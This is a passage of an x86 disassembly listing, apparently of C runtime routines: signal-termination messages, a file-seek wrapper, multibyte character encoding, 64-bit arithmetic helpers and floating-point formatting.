or eax, 0FFFFFFFFh
jmp loc_44CD65
; ---------------------------------------------------------------------------
loc_44CC68: ; CODE XREF: sub_44CC41+1Dj
cmp ebx, 1
jz loc_44CD63
test ebx, ebx
jz short loc_44CC8F
push 0
mov eax, [ebp+arg_0]
push eax
call sub_44BCD1
add esp, 8
mov eax, [ebp+arg_0]
push eax
call ebx
pop ecx
jmp loc_44CD63
; ---------------------------------------------------------------------------
loc_44CC8F: ; CODE XREF: sub_44CC41+32j
mov eax, [ebp+arg_0]
cmp eax, 2
jl short loc_44CCE4
cmp eax, 0Bh
jg short loc_44CCA3
jmp dword ptr byte_4100E0[eax*4]
; ---------------------------------------------------------------------------
loc_44CCA3: ; CODE XREF: sub_44CC41+59j
cmp [ebp+arg_0], 0Fh
jz short loc_44CCDB
jmp short loc_44CCE4
; ---------------------------------------------------------------------------
mov [ebp+var_4], offset aAbort ; "abort"
jmp loc_44CD38
; ---------------------------------------------------------------------------
mov [ebp+var_4], offset aArithmeticErro ; "arithmetic error"
jmp short loc_44CD38
; ---------------------------------------------------------------------------
mov [ebp+var_4], offset aInvalidExecuta ; "invalid executable code"
jmp short loc_44CD38
; ---------------------------------------------------------------------------
mov [ebp+var_4], offset aInterruption ; "interruption"
jmp short loc_44CD38
; ---------------------------------------------------------------------------
mov [ebp+var_4], offset aInvalidStorage ; "invalid storage access"
jmp short loc_44CD38
; ---------------------------------------------------------------------------
loc_44CCDB: ; CODE XREF: sub_44CC41+66j
mov [ebp+var_4], offset aTerminationReq ; "termination request"
jmp short loc_44CD38
; ---------------------------------------------------------------------------
loc_44CCE4: ; CODE XREF: sub_44CC41+54j
; sub_44CC41+68j
lea eax, [ebp+var_5]
mov [ebp+var_4], eax
mov [ebp+var_5], 0
loc_44CCEE: ; CODE XREF: sub_44CC41+E3j
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_14], eax
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
mov ecx, 0Ah
cdq
idiv ecx
lea eax, [edx+30h]
mov edx, [ebp+var_14]
mov [edx], al
mov eax, [ebp+arg_0]
push eax
mov edx, 66666667h
imul edx
pop eax
shr eax, 1Fh
sar edx, 2
add eax, edx
mov [ebp+arg_0], eax
test eax, eax
jnz short loc_44CCEE
push offset dword_411324
push offset aSignal ; "signal #"
call sub_44DD81
add esp, 8
loc_44CD38: ; CODE XREF: sub_44CC41+71j
; sub_44CC41+7Dj ...
push offset dword_411324
mov eax, [ebp+var_4]
push eax
call sub_44DD81
add esp, 8
push offset dword_411324
push offset aTerminating ; " -- terminating\n"
call sub_44DD81
add esp, 8
push 1
call sub_448961
pop ecx
loc_44CD63: ; CODE XREF: sub_44CC41+2Aj
; sub_44CC41+49j
xor eax, eax
loc_44CD65: ; CODE XREF: sub_44CC41+22j
pop ebx
mov esp, ebp
pop ebp
retn
sub_44CC41 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44CD71 proc near ; CODE XREF: sub_44B5F1+4Bp
; sub_44C861+306p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
push ebx
call sub_44BAE1
pop ecx
mov edi, eax
cmp eax, 0FFFFFFFFh
jnz short loc_44CD9A
call sub_449321
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_44CDE3
; ---------------------------------------------------------------------------
loc_44CD9A: ; CODE XREF: sub_44CD71+17j
mov eax, [ebp+arg_8]
push eax
push 0
mov eax, [ebp+arg_4]
push eax
push edi
call dword_411E14 ; SetFilePointer
mov esi, eax
cmp eax, 0FFFFFFFFh
jnz short loc_44CDC6
call dword_411CE8 ; RtlGetLastWin32Error
push eax
call sub_4491C1
pop ecx
or eax, 0FFFFFFFFh
jmp short loc_44CDE3
; ---------------------------------------------------------------------------
loc_44CDC6: ; CODE XREF: sub_44CD71+41j
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
and byte ptr [eax], 0FDh
mov eax, esi
loc_44CDE3: ; CODE XREF: sub_44CD71+27j
; sub_44CD71+53j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_44CD71 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
db 8Dh, 0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, [ebp+8]
cmp ebx, dword_413A88
jnb short loc_44CE1C
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jnz short loc_44CE2C
loc_44CE1C: ; CODE XREF: DMN1:0044CDFFj
call sub_449321
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_44CE4F
; ---------------------------------------------------------------------------
loc_44CE2C: ; CODE XREF: DMN1:0044CE1Aj
push ebx
call sub_44BC01
pop ecx
mov eax, [ebp+10h]
push eax
mov eax, [ebp+0Ch]
push eax
push ebx
call sub_44CD71
add esp, 0Ch
mov esi, eax
push ebx
call sub_44BC61
pop ecx
mov eax, esi
loc_44CE4F: ; CODE XREF: DMN1:0044CE2Aj
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44CE61 proc near ; CODE XREF: sub_44BE31+9Bp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
cmp off_411924, 0
jnz loc_44CF48
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
cmp [ebp+arg_0], 0
jnz short loc_44CE9C
mov eax, [ebp+arg_8]
mov ecx, dword_410194
mov ebx, dword_410198
mov [eax], ecx
mov [eax+4], ebx
xor eax, eax
jmp loc_44D09E
; ---------------------------------------------------------------------------
loc_44CE9C: ; CODE XREF: sub_44CE61+1Ej
test [ebp+arg_4], 0FF80h
jnz short loc_44CEBC
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
movzx edx, [ebp+arg_4]
mov [eax], dl
mov [ebp+var_4], 0
jmp short loc_44CF35
; ---------------------------------------------------------------------------
loc_44CEBC: ; CODE XREF: sub_44CE61+41j
test [ebp+arg_4], 0F800h
jnz short loc_44CEE5
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
movzx edx, [ebp+arg_4]
sar edx, 6
or edx, 0C0h
mov [eax], dl
mov [ebp+var_4], 1
jmp short loc_44CF35
; ---------------------------------------------------------------------------
loc_44CEE5: ; CODE XREF: sub_44CE61+61j
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
movzx edx, [ebp+arg_4]
sar edx, 0Ch
and edx, 0Fh
or edx, 0E0h
mov [eax], dl
mov [ebp+var_4], 2
jmp short loc_44CF35
; ---------------------------------------------------------------------------
loc_44CF09: ; CODE XREF: sub_44CE61+D8j
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov edx, [ebp+var_4]
dec edx
mov [ebp+var_4], edx
movzx ecx, [ebp+arg_4]
mov [ebp+var_C], ecx
lea ecx, [edx+edx*2]
add ecx, ecx
mov edx, [ebp+var_C]
sar edx, cl
and edx, 3Fh
or edx, 80h
mov [eax], dl
loc_44CF35: ; CODE XREF: sub_44CE61+59j
; sub_44CE61+82j ...
cmp [ebp+var_4], 0
jg short loc_44CF09
mov eax, [ebp+var_8]
mov edx, [ebp+arg_0]
sub eax, edx
jmp loc_44D09E
; ---------------------------------------------------------------------------
loc_44CF48: ; CODE XREF: sub_44CE61+Ej
mov eax, [ebp+arg_8]
movzx eax, word ptr [eax+6]
mov byte ptr [ebp+var_4+3], al
mov [ebp+var_10], 0
mov [ebp+var_C], 0
mov [ebp+var_8], 0
cmp [ebp+arg_0], 0
jnz short loc_44CF93
mov eax, [ebp+arg_8]
mov ecx, dword_410194
mov ebx, dword_410198
mov [eax], ecx
mov [eax+4], ebx
mov eax, off_411924
movzx eax, word ptr [eax]
and eax, 0F00h
jmp loc_44D09E
; ---------------------------------------------------------------------------
loc_44CF93: ; CODE XREF: sub_44CE61+10Aj
; sub_44CE61+229j
mov al, byte ptr [ebp+var_4+3]
cmp al, 10h
jnb short loc_44CFD9
movzx eax, al
mov eax, off_411964[eax*4]
mov [ebp+var_18], eax
test eax, eax
jz short loc_44CFD9
movzx eax, byte_4118A0
cmp [ebp+var_8], eax
jge short loc_44CFD9
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
cmp eax, 0FF0h
jge short loc_44CFD9
movzx eax, byte ptr [ebp+arg_4]
mov edx, [ebp+var_18]
mov ax, [edx+eax*2]
mov [ebp+var_12], ax
test ax, ax
jnz short loc_44CFEC
loc_44CFD9: ; CODE XREF: sub_44CE61+137j
; sub_44CE61+148j ...
call sub_449321
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp loc_44D09E
; ---------------------------------------------------------------------------
loc_44CFEC: ; CODE XREF: sub_44CE61+176j
movzx eax, [ebp+var_12]
mov edx, eax
and edx, 0F00h
sar edx, 8
mov byte ptr [ebp+var_4+3], dl
test eax, 8000h
jz short loc_44D018
movzx eax, [ebp+arg_4]
and eax, 0FFFFFF00h
movzx edx, byte ptr [ebp+var_12]
or eax, edx
mov [ebp+arg_4], ax
loc_44D018: ; CODE XREF: sub_44CE61+1A2j
test [ebp+var_12], 1000h
jz short loc_44D03A
movzx eax, [ebp+arg_4]
mov edx, eax
shl edx, 8
sar eax, 8
and eax, 0FFh
or edx, eax
mov ax, dx
mov [ebp+arg_4], ax
loc_44D03A: ; CODE XREF: sub_44CE61+1BDj
test [ebp+var_12], 2000h
jz short loc_44D07E
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
test [ebp+var_12], 0FFh
jz short loc_44D05C
movzx edx, [ebp+var_12]
mov [ebp+var_1C], edx
jmp short loc_44D063
; ---------------------------------------------------------------------------
loc_44D05C: ; CODE XREF: sub_44CE61+1F0j
movzx edx, [ebp+arg_4]
mov [ebp+var_1C], edx
loc_44D063: ; CODE XREF: sub_44CE61+1F9j
mov edx, [ebp+var_1C]
mov ecx, [ebp+arg_0]
mov [ecx+eax], dl
test dl, dl
jnz short loc_44D077
mov [ebp+var_10], 1
loc_44D077: ; CODE XREF: sub_44CE61+20Dj
mov [ebp+var_C], 0
loc_44D07E: ; CODE XREF: sub_44CE61+1DFj
test [ebp+var_12], 4000h
jnz short loc_44D090
cmp [ebp+var_10], 0
jz loc_44CF93
loc_44D090: ; CODE XREF: sub_44CE61+223j
mov edx, [ebp+arg_8]
movzx eax, byte ptr [ebp+var_4+3]
mov [edx+6], ax
mov eax, [ebp+var_8]
loc_44D09E: ; CODE XREF: sub_44CE61+36j
; sub_44CE61+E2j ...
pop ebx
mov esp, ebp
pop ebp
retn
sub_44CE61 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44D0B1 proc near ; CODE XREF: sub_44BF81+CFp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_4]
or eax, eax
jnz short loc_44D0D2
mov ecx, [esp+4+arg_0]
mov eax, [esp+4+arg_C]
xor edx, edx
div ecx
mov eax, [esp+4+arg_8]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_44D122
; ---------------------------------------------------------------------------
loc_44D0D2: ; CODE XREF: sub_44D0B1+7j
mov ecx, eax
mov ebx, [esp+4+arg_0]
mov edx, [esp+4+arg_C]
mov eax, [esp+4+arg_8]
loc_44D0E0: ; CODE XREF: sub_44D0B1+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_44D0E0
div ebx
mov ecx, eax
mul [esp+4+arg_4]
xchg eax, ecx
mul [esp+4+arg_0]
add edx, ecx
jb short loc_44D10B
cmp edx, [esp+4+arg_C]
ja short loc_44D10B
jb short loc_44D113
cmp eax, [esp+4+arg_8]
jbe short loc_44D113
loc_44D10B: ; CODE XREF: sub_44D0B1+4Aj
; sub_44D0B1+50j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
loc_44D113: ; CODE XREF: sub_44D0B1+52j
; sub_44D0B1+58j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
neg edx
neg eax
sbb edx, 0
loc_44D122: ; CODE XREF: sub_44D0B1+1Fj
pop ebx
retn 10h
sub_44D0B1 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44D131 proc near ; CODE XREF: sub_44BF81+116p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_44D152
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_44D152: ; CODE XREF: sub_44D131+Bj
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_44D16E
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_44D16E: ; CODE XREF: sub_44D131+27j
or eax, eax
jnz short loc_44D18A
mov ecx, [esp+0Ch+arg_0]
mov eax, [esp+0Ch+arg_C]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_8]
div ecx
mov edx, ebx
jmp short loc_44D1CB
; ---------------------------------------------------------------------------
loc_44D18A: ; CODE XREF: sub_44D131+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_C]
mov eax, [esp+0Ch+arg_8]
loc_44D198: ; CODE XREF: sub_44D131+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_44D198
div ecx
mov esi, eax
mul [esp+0Ch+arg_4]
mov ecx, eax
mov eax, [esp+0Ch+arg_0]
mul esi
add edx, ecx
jb short loc_44D1C6
cmp edx, [esp+0Ch+arg_C]
ja short loc_44D1C6
jb short loc_44D1C7
cmp eax, [esp+0Ch+arg_8]
jbe short loc_44D1C7
loc_44D1C6: ; CODE XREF: sub_44D131+85j
; sub_44D131+8Bj
dec esi
loc_44D1C7: ; CODE XREF: sub_44D131+8Dj
; sub_44D131+93j
xor edx, edx
mov eax, esi
loc_44D1CB: ; CODE XREF: sub_44D131+57j
dec edi
jnz short loc_44D1D5
neg edx
neg eax
sbb edx, 0
loc_44D1D5: ; CODE XREF: sub_44D131+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_44D131 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44D1E1 proc near ; CODE XREF: sub_44BF81+13Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_C]
mov ecx, [esp+arg_4]
or ecx, eax
mov ecx, [esp+arg_0]
jnz short loc_44D1FA
mov eax, [esp+arg_8]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_44D1FA: ; CODE XREF: sub_44D1E1+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_8]
mul [esp+4+arg_4]
add ebx, eax
mov eax, [esp+4+arg_8]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_44D1E1 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BFh, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44D221 proc near ; CODE XREF: sub_44C1C1+5p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
movzx eax, word ptr [ecx+6]
and eax, 7FF0h
cmp eax, 7FF0h
jnz short loc_44D264
test word ptr [ecx+6], 0Fh
jnz short loc_44D251
cmp word ptr [ecx+4], 0
jnz short loc_44D251
cmp word ptr [ecx+2], 0
jnz short loc_44D251
cmp word ptr [ecx], 0
jz short loc_44D258
loc_44D251: ; CODE XREF: sub_44D221+1Aj
; sub_44D221+21j ...
mov edx, 2
jmp short loc_44D25D
; ---------------------------------------------------------------------------
loc_44D258: ; CODE XREF: sub_44D221+2Ej
mov edx, 1
loc_44D25D: ; CODE XREF: sub_44D221+35j
mov ax, dx
movsx eax, ax
retn
; ---------------------------------------------------------------------------
loc_44D264: ; CODE XREF: sub_44D221+12j
movzx eax, word ptr [ecx+6]
test eax, 0FFFF7FFFh
jnz short loc_44D283
cmp word ptr [ecx+4], 0
jnz short loc_44D283
cmp word ptr [ecx+2], 0
jnz short loc_44D283
cmp word ptr [ecx], 0
jz short loc_44D287
loc_44D283: ; CODE XREF: sub_44D221+4Cj
; sub_44D221+53j ...
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_44D287: ; CODE XREF: sub_44D221+60j
xor eax, eax
retn
sub_44D221 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44D291 proc near ; CODE XREF: sub_44C1D1+5Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_44DE71
add esp, 8
movsx eax, ax
pop ebp
retn
sub_44D291 endp
; ---------------------------------------------------------------------------
db 90h
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44D2B1 proc near ; CODE XREF: sub_44C1D1+200p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_44DF11
add esp, 8
movsx eax, ax
pop ebp
retn
sub_44D2B1 endp
; ---------------------------------------------------------------------------
db 90h
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44D2D1 proc near ; CODE XREF: sub_44C1D1+20Bp
; sub_44C1D1+498p
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
sub esp, 0Ch
fstcw [esp+0Ch+var_2]
mov ax, [esp+0Ch+var_2]
or ah, 0Ch
mov [esp+0Ch+var_4], ax
fldcw [esp+0Ch+var_4]
fistp [esp+0Ch+var_C]
fldcw [esp+0Ch+var_2]
mov eax, dword ptr [esp+0Ch+var_C]
mov edx, dword ptr [esp+0Ch+var_C+4]
add esp, 0Ch
retn
sub_44D2D1 endp
; ---------------------------------------------------------------------------
db 90h
db 8Dh, 7Ch, 27h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44D301 proc near ; CODE XREF: sub_44C1D1+4D6p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
mov eax, ebx
mov ecx, esi
cdq
idiv ecx
mov [ebp+var_8], eax
mov edx, esi
imul edx, eax
mov eax, ebx
sub eax, edx
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
mov edx, [ebp+var_4]
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44D301 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44D331 proc near ; CODE XREF: sub_44C1D1+64Cp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
arg_C = word ptr 14h
arg_10 = word ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
mov eax, off_4119D0
mov al, [eax]
mov [ebp+var_1], al
cmp [ebp+arg_C], 0
jg short loc_44D356
mov [ebp+arg_C], 1
mov [ebp+arg_8], offset dword_4101A0
loc_44D356: ; CODE XREF: sub_44D331+16j
mov al, [ebp+arg_4]
cmp al, 66h
jz short loc_44D38A
cmp al, 46h
jz short loc_44D38A
cmp al, 67h
jz short loc_44D36D
cmp al, 47h
jnz loc_44D5D4
loc_44D36D: ; CODE XREF: sub_44D331+32j
mov ax, [ebp+arg_10]
cmp ax, 0FFFCh
jl loc_44D5D4
movsx eax, ax
mov edx, [ebp+arg_0]
cmp eax, [edx+2Ch]
jge loc_44D5D4
loc_44D38A: ; CODE XREF: sub_44D331+2Aj
; sub_44D331+2Ej
add [ebp+arg_10], 1
mov al, [ebp+arg_4]
cmp al, 67h
jz short loc_44D39A
cmp al, 47h
jnz short loc_44D3D5
loc_44D39A: ; CODE XREF: sub_44D331+63j
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 8
jnz short loc_44D3B8
movsx edx, [ebp+arg_C]
cmp edx, [eax+2Ch]
jge short loc_44D3B8
mov edx, [ebp+arg_0]
movsx eax, [ebp+arg_C]
mov [edx+2Ch], eax
loc_44D3B8: ; CODE XREF: sub_44D331+72j
; sub_44D331+7Bj
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
movsx ecx, [ebp+arg_10]
sub edx, ecx
mov [eax+2Ch], edx
test edx, edx
jge short loc_44D3D5
mov edx, [ebp+arg_0]
mov dword ptr [edx+2Ch], 0
loc_44D3D5: ; CODE XREF: sub_44D331+67j
; sub_44D331+98j
cmp [ebp+arg_10], 0
jg loc_44D4A1
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
lea ecx, [edx+1]
mov [eax+1Ch], ecx
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
mov byte ptr [eax+edx], 30h
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jg short loc_44D407
test word ptr [eax+38h], 8
jz short loc_44D41F
loc_44D407: ; CODE XREF: sub_44D331+CCj
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
lea ecx, [edx+1]
mov [eax+1Ch], ecx
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
mov cl, [ebp+var_1]
mov [eax+edx], cl
loc_44D41F: ; CODE XREF: sub_44D331+D4j
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_10]
neg edx
cmp [eax+2Ch], edx
jge short loc_44D439
mov eax, [ebp+arg_0]
mov eax, [eax+2Ch]
neg eax
mov [ebp+arg_10], ax
loc_44D439: ; CODE XREF: sub_44D331+FAj
mov edx, [ebp+arg_0]
movsx eax, [ebp+arg_10]
neg eax
mov [edx+20h], eax
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_10]
mov ecx, [eax+2Ch]
add edx, ecx
mov [eax+2Ch], edx
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_C]
cmp [eax+2Ch], edx
jge short loc_44D46A
mov eax, [ebp+arg_0]
mov eax, [eax+2Ch]
mov [ebp+arg_C], ax
loc_44D46A: ; CODE XREF: sub_44D331+12Dj
movsx eax, [ebp+arg_C]
mov edx, [ebp+arg_0]
mov [edx+24h], eax
push eax
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
add eax, edx
push eax
call sub_4485B1
add esp, 0Ch
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
movsx ecx, [ebp+arg_C]
sub edx, ecx
mov [eax+28h], edx
jmp loc_44D7C6
; ---------------------------------------------------------------------------
loc_44D4A1: ; CODE XREF: sub_44D331+A9j
mov ax, [ebp+arg_10]
cmp [ebp+arg_C], ax
jge short loc_44D51B
movsx eax, [ebp+arg_C]
push eax
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
add eax, edx
push eax
call sub_4485B1
add esp, 0Ch
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_C]
mov ecx, [eax+1Ch]
add edx, ecx
mov [eax+1Ch], edx
mov edx, [ebp+arg_0]
movsx eax, [ebp+arg_10]
movsx ecx, [ebp+arg_C]
sub eax, ecx
mov [edx+20h], eax
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jg short loc_44D4F8
test word ptr [eax+38h], 8
jz short loc_44D50D
loc_44D4F8: ; CODE XREF: sub_44D331+1BDj
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
mov cl, [ebp+var_1]
mov [eax+edx], cl
mov eax, [ebp+arg_0]
inc dword ptr [eax+24h]
loc_44D50D: ; CODE XREF: sub_44D331+1C5j
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
mov [eax+28h], edx
jmp loc_44D7C6
; ---------------------------------------------------------------------------
loc_44D51B: ; CODE XREF: sub_44D331+178j
movsx eax, [ebp+arg_10]
push eax
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
add eax, edx
push eax
call sub_4485B1
add esp, 0Ch
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_10]
mov ecx, [eax+1Ch]
add edx, ecx
mov [eax+1Ch], edx
mov ax, [ebp+arg_10]
sub [ebp+arg_C], ax
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jg short loc_44D560
test word ptr [eax+38h], 8
jz short loc_44D578
loc_44D560: ; CODE XREF: sub_44D331+225j
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
lea ecx, [edx+1]
mov [eax+1Ch], ecx
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
mov cl, [ebp+var_1]
mov [eax+edx], cl
loc_44D578: ; CODE XREF: sub_44D331+22Dj
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_C]
cmp [eax+2Ch], edx
jge short loc_44D58E
mov eax, [ebp+arg_0]
mov eax, [eax+2Ch]
mov [ebp+arg_C], ax
loc_44D58E: ; CODE XREF: sub_44D331+251j
movsx eax, [ebp+arg_C]
push eax
movsx eax, [ebp+arg_10]
mov edx, [ebp+arg_8]
add eax, edx
push eax
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
add eax, edx
push eax
call sub_4485B1
add esp, 0Ch
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_C]
mov ecx, [eax+1Ch]
add edx, ecx
mov [eax+1Ch], edx
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
movsx ecx, [ebp+arg_C]
sub edx, ecx
mov [eax+20h], edx
jmp loc_44D7C6
; ---------------------------------------------------------------------------
loc_44D5D4: ; CODE XREF: sub_44D331+36j
; sub_44D331+44j ...
mov al, [ebp+arg_4]
cmp al, 67h
jz short loc_44D5DF
cmp al, 47h
jnz short loc_44D62A
loc_44D5DF: ; CODE XREF: sub_44D331+2A8j
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_C]
cmp edx, [eax+2Ch]
jge short loc_44D5FD
test word ptr [eax+38h], 8
jnz short loc_44D5FD
mov edx, [ebp+arg_0]
movsx eax, [ebp+arg_C]
mov [edx+2Ch], eax
loc_44D5FD: ; CODE XREF: sub_44D331+2B8j
; sub_44D331+2C0j
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
dec edx
mov [eax+2Ch], edx
test edx, edx
jge short loc_44D615
mov edx, [ebp+arg_0]
mov dword ptr [edx+2Ch], 0
loc_44D615: ; CODE XREF: sub_44D331+2D8j
xor eax, eax
cmp [ebp+arg_4], 67h
setnz al
dec eax
and eax, 20h
add eax, 45h
mov [ebp+arg_4], al
jmp short loc_44D640
; ---------------------------------------------------------------------------
loc_44D62A: ; CODE XREF: sub_44D331+2ACj
cmp [ebp+arg_4], 61h
jnz short loc_44D636
mov [ebp+arg_4], 70h
jmp short loc_44D640
; ---------------------------------------------------------------------------
loc_44D636: ; CODE XREF: sub_44D331+2FDj
cmp [ebp+arg_4], 41h
jnz short loc_44D640
mov [ebp+arg_4], 50h
loc_44D640: ; CODE XREF: sub_44D331+2F7j
; sub_44D331+303j ...
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
lea ecx, [edx+1]
mov [eax+1Ch], ecx
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov [ebp+arg_8], ecx
mov ecx, [ebp+arg_0]
mov ecx, [ecx+10h]
mov al, [eax]
mov [ecx+edx], al
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jg short loc_44D671
test word ptr [eax+38h], 8
jz short loc_44D689
loc_44D671: ; CODE XREF: sub_44D331+336j
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
lea ecx, [edx+1]
mov [eax+1Ch], ecx
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
mov cl, [ebp+var_1]
mov [eax+edx], cl
